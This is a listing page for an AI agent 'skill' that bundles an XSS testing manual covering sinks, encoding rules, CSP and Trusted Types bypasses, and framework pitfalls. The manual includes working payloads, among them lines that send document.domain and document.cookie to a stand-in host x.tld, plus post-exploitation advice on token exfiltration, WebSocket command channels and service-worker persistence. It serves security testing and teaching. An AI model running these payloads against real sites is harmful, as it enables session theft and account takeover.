Strix•XSS 测试 logo

Strix•XSS 测试

Community
asdfgh1445
Strix•XSS 测试

Strix XSS 测试手册,覆盖反射型、存储型、DOM 型向量与 CSP 绕过;触发名:strix-xss

Overview

Publisherasdfgh1445
Repositoryctf-super-hub
Skill nameStrix•XSS 测试
Stars
836
Forks
105
Bundled files
Instructions only
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by asdfgh1445 on GitHub. Read the source before you install it.

Installation

Install the Strix•XSS 测试 AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/asdfgh1445/ctf-super-hub/tree/main/strix-xss
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/asdfgh1445/ctf-super-hub.git /tmp/ctf-super-hub
mkdir -p .claude/skills
cp -r /tmp/ctf-super-hub/strix-xss .claude/skills/asdfgh1445-strix-xss
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Strix•XSS 测试 in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Strix•XSS 测试 on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Strix•XSS 测试 is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

XSS

Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).

Attack Surface

Types

  • Reflected, stored, and DOM-based XSS across web/mobile/desktop shells

Contexts

  • HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF

Frameworks

  • React/Vue/Angular/Svelte sinks, template engines, SSR/ISR

Defenses to Bypass

  • CSP/Trusted Types, DOMPurify, framework auto-escaping

Injection Points

Server Render

  • Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers

Client Render

  • innerHTML/outerHTML/insertAdjacentHTML, template literals
  • dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}

URL/DOM

  • location.hash/search, document.referrer, base href, data-* attributes

Events/Handlers

  • onerror/onload/onfocus/onclick and javascript: URL handlers

Cross-Context

  • postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB

File/Metadata

  • Image/SVG/XML names and EXIF, office documents processed server/client

Context Encoding Rules

  • HTML text: encode < > & " '
  • Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
  • URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
  • JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
  • CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
  • SVG/MathML: treat as active content; many tags execute via onload or animation events

Key Vulnerabilities

DOM XSS

Sources

  • location.* (hash/search), document.referrer, postMessage, storage, service worker messages

Sinks

  • innerHTML/outerHTML/insertAdjacentHTML, document.write
  • setAttribute, setTimeout/setInterval with strings
  • eval/Function, new Worker with blob URLs

Vulnerable Pattern

javascript
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;

Exploit: ?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>

Mutation XSS

Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):

html
<noscript><p title="</noscript><img src=x onerror=alert(1)>
<form><button formaction=javascript:alert(1)>

Template Injection

Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):

{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}

CSP Bypass

  • Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
  • Script gadgets: JSONP endpoints, libraries exposing function constructors
  • Import maps or modulepreload lax policies
  • Base tag injection to retarget relative script URLs
  • Dynamic module import with allowed origins

Trusted Types Bypass

  • Custom policies returning unsanitized strings; abuse policy whitelists
  • Sinks not covered by Trusted Types (CSS, URL handlers) and pivot via gadgets

Polyglot Payloads

Keep a compact set tuned per context:

  • HTML node: <svg onload=alert(1)>
  • Attr quoted: " autofocus onfocus=alert(1) x="
  • Attr unquoted: onmouseover=alert(1)
  • JS string: "-alert(1)-"
  • URL: javascript:alert(1)

Framework-Specific

React

  • Primary sink: dangerouslySetInnerHTML
  • Secondary: setting event handlers or URLs from untrusted input
  • Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML

Vue

  • Sinks: v-html and dynamic attribute bindings
  • SSR hydration mismatches can re-interpret content

Angular

  • Legacy expression injection (pre-1.6)
  • $sce trust APIs misused to whitelist attacker content

Svelte

  • Sinks: {@html} and dynamic attributes

Markdown/Richtext

  • Renderers often allow HTML passthrough; plugins may re-enable raw HTML
  • Sanitize post-render; forbid inline HTML or restrict to safe whitelist

Special Contexts

Email

  • Most clients strip scripts but allow CSS/remote content
  • Use CSS/URL tricks only if relevant; avoid assuming JS execution

PDF and Docs

  • PDF engines may execute JS in annotations or links
  • Test javascript: in links and submit actions

File Uploads

  • SVG/HTML uploads served with text/html or image/svg+xml can execute inline
  • Verify content-type and Content-Disposition: attachment
  • Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff

Post-Exploitation

  • Session/token exfiltration: prefer fetch/XHR over image beacons for reliability
  • Real-time control: WebSocket C2 with strict command set
  • Persistence: service worker registration; localStorage/script gadget re-injection
  • Impact: role hijack, CSRF chaining, internal port scan via fetch, credential phishing overlays

Testing Methodology

  1. Identify sources - URL/query/hash/referrer, postMessage, storage, WebSocket, server JSON
  2. Trace to sinks - Map data flow from source to sink
  3. Classify context - HTML node, attribute, URL, script block, event handler, JS eval-like, CSS, SVG
  4. Assess defenses - Output encoding, sanitizer, CSP, Trusted Types, DOMPurify config
  5. Craft payloads - Minimal payloads per context with encoding/whitespace/casing variants
  6. Multi-channel - Test across REST, GraphQL, WebSocket, SSE, service workers

Validation

  1. Provide minimal payload and context (sink type) with before/after DOM or network evidence
  2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior
  3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof
  4. Quantify impact beyond alert: data accessed, action performed, persistence achieved

False Positives

  • Reflected content safely encoded in the exact context
  • CSP with nonces/hashes and no inline/event handlers
  • Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
  • Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)

Impact

  • Session hijacking and credential theft
  • Account takeover via token exfiltration
  • CSRF chaining for state-changing actions
  • Malware distribution and phishing
  • Persistent compromise via service workers

Pro Tips

  1. Start with context classification, not payload brute force
  2. Use DOM instrumentation to log sink usage; it reveals unexpected flows
  3. Keep a small, curated payload set per context and iterate with encodings
  4. Validate defenses by configuration inspection and negative tests
  5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes
  6. Treat SVG/MathML as first-class active content; test separately
  7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration)
  8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports

Summary

Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.

Frequently asked questions

What does the Strix•XSS 测试 AI skill do?

Strix XSS 测试手册,覆盖反射型、存储型、DOM 型向量与 CSP 绕过;触发名:strix-xss

Why use Strix•XSS 测试 on TypingMind?

Because you install it once and use it with any model. Strix•XSS 测试 is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Strix•XSS 测试 in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/asdfgh1445/ctf-super-hub/tree/main/strix-xss. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Strix•XSS 测试?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Strix•XSS 测试?

As many as you like. As long as a model supports skills, you can use Strix•XSS 测试 with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Strix•XSS 测试 AI skill free?

It is published on GitHub by asdfgh1445. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇